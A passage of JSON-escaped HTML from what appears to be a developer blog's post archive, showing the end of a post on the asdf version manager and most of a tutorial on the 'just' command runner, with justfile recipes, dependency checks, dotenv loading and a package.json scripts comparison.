data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3.9.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.22.17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-18T00:00:00Z","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"},{"id":["2022","intro_to_just"],"path":"2022/intro_to_just","contentHtml":"\u003cp\u003eI believe every project should have a CLI built around the standard workflows of developing\non the project. Things like:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eInstall dependencies\u003c/li\u003e\n\u003cli\u003eRun tests\u003c/li\u003e\n\u003cli\u003eRun linter and formatters\u003c/li\u003e\n\u003cli\u003eBuild project\u003c/li\u003e\n\u003cli\u003eStart / Stop the docker environment\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe reason I think this is important is because it makes a nice consistent and discoverable\nentrypoint for understanding how you should work in the project. If you only provide the\ninstructions in the \u003ccode\u003eREADME\u003c/code\u003e then you have to remember to update those docs every time you\nadd a new command. Those docs are not easily testable either.\u003c/p\u003e\n\u003cp\u003eMost of my career the command runner of choice for my projects has been \u003ccode\u003eGNU Make\u003c/code\u003e but it was\ndefinitely the wrong tool for the job. It is a build tool that I bent into shape to work\nas a command runner for me. These days I use the tool \u003ca href=\"https://github.com/casey/just\"\u003ejust\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eIntro to just\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/casey/just\"\u003eJust\u003c/a\u003e is a modern command runner with a similar syntax to \u003ccode\u003emake\u003c/code\u003e\nthat provides a nice way for building out your project CLI! You create a file named \u003ccode\u003ejustfile\u003c/code\u003e\nat the root of your project and then the basic syntax is:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"make\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"make\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e @just --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# My first command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e echo \"Any commands you want to run go here!\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe first \u003ccode\u003ehelp\u003c/code\u003e line defines a command \"help\" for your CLI and it lists out all the other available\ncommands. I always put this line first because \u003ccode\u003ejust\u003c/code\u003e runs the first command in the file if a specific\ncommand is not requested. The output of this file looks like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e just\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAvailable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e recipes:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e first\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # My first command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e help\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eHaving help automatically generated is fantastic! It is also really helpful that it adds the comment\nto the command so that each command is self-documenting. If you run the \u003ccode\u003efirst\u003c/code\u003e command you will notice\nit also has a feature where it prints out the commands being ran so the user knows exactly what is\nhappening:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e just\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e first\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Any commands you want to run go here!\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAny\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commands\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e go\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e here!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis does not always make sense though, so you can quickly remove that behavior by putting an \u003ccode\u003e@\u003c/code\u003e in front\nof any of the commands, like I did for the \u003ccode\u003ehelp\u003c/code\u003e command above. You can also declare dependencies if\nyou have re-usable parts of your workflow that many of your commands need.\u003c/p\u003e\n\u003cp\u003eFor example, you might want to check versions of things like \u003ccode\u003enode\u003c/code\u003e and \u003ccode\u003epython\u003c/code\u003e before running the install\nof their dependencies. So you could do something like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"make\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"make\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e @just --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003enode_version := \"v17.6.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Verify system dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e @if [ ! \"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003enode --version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\" = {{ node_version }} ]; \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e then \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e \"Missing\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {{ node_version }}\"; \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e exit 1; \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e fi\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Install frontend\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003einstall\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: check-dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e @echo \"yarn install\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ewhich ends up with a CLI that looks like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e just\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAvailable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e recipes:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e check-dependencies\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # Verify system dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # Install frontend\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e just\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eMissing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v17.6.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Recipe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e `\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e failed\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e line\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e exit\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e code\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis opens up a lot of possibilities! In the above \u003ccode\u003ejustfile\u003c/code\u003e you will notice I am using a multi-line\ncommand but I have \u003ccode\u003e\\\u003c/code\u003e at the end of each line. This is because \u003ccode\u003ejust\u003c/code\u003e by default is going to run\neach new line in their own shell. So this just makes all those lines run in the same shell.\u003c/p\u003e\n\u003cp\u003eYou do not have to use this syntax though. Just is \u003ccode\u003epolyglot\u003c/code\u003e and can run commands from any language\nyou would like.\u003c/p\u003e\n\u003ch3\u003ePolyglot\u003c/h3\u003e\n\u003cp\u003eIf you want to use a bash script as one of your commands, you can do so by adding a shebang at the top:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"make\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"make\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e #!/usr/bin/env bash\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e set -euxo pipefail\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e if [ ! \"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003enode --version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\" = {{ node_version }} ];\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e then\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e \"Missing\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {{ node_version }}\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e exit 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e fi\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow the entire command is using a bash script to execute! This gets really interesting if you want to start\nusing things like python, so if you would like to change the dependency checker above to python:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003echeck\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003edependencies:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e #!/usr/bin/env python3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e subprocess\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e result \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e subprocess.run(\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'node'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'--version'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e stdout\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esubprocess.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ePIPE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e result \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e!=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e{{\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node_version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Missing node version: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e{{\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node_version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e exit\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can even tell \u003ccode\u003ejust\u003c/code\u003e that you want to use a specific language for all commands!\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eset shell := [\"python3\", \"-c\"]\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis not only affects the commands you have in your recipe but also anything inside\nbackticks! So something like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"make\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"make\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e`print(\"Rust is the best programming language\")`\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt would run through python instead of the shell.\u003c/p\u003e\n\u003ch3\u003eEnvironment Files\u003c/h3\u003e\n\u003cp\u003eOne of the other modern things \u003ccode\u003ejust\u003c/code\u003e adds to your workflow is the ability to utilize dotenv\nfiles. So for example if you want to define which port you launch your http server on, you can\ncreate a file called \u003ccode\u003e.env\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eWEBSERVER_PORT\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e9000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand then utilize it in your \u003ccode\u003ejustfile\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"make\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"make\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eset dotenv-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e @echo \"Starting webserver in current directory\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e python3 -m http.server \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e$W\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEBSERVER_PORT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhen you run \u003ccode\u003ejust http\u003c/code\u003e it will launch the http server on port 9000. One important line\nin this file is \u003ccode\u003eset dotenv-load\u003c/code\u003e, it will not load the \u003ccode\u003e.env\u003c/code\u003e file without you telling it to.\u003c/p\u003e\n\u003ch2\u003eDo not use language specific scripts!\u003c/h2\u003e\n\u003cp\u003eI am not a fan of language specific command runners like \u003ccode\u003epackage.json\u003c/code\u003e in the node community.\u003c/p\u003e\n\u003cp\u003eIt always frustrates me when I start working on a project that heavily uses \u003ccode\u003escripts\u003c/code\u003e in their\npackage.json instead of using a real command runner. \u003ccode\u003ejson\u003c/code\u003e is not a great format for writing\ndiscoverable CLI commands. For example if you wanted to write a \u003ccode\u003enext.js\u003c/code\u003e build script:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"scripts\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"predeploy\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"yarn build \u0026#x26;\u0026#x26; yarn export \u0026#x26;\u0026#x26; touch dist/.nojekyll \u0026#x26;\u0026#x26; echo sontek.net \u003e dist/CNAME\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"deploy\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"gh-pages -d dist -t true\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"build\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"next build\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"export\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"next export -o dist/\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCombining all those commands is really messy and not easily understandable through \u003ccode\u003eyarn run\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e yarn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e run\u003c/span\u003e\u003c/span\u003e\n\u003cspan 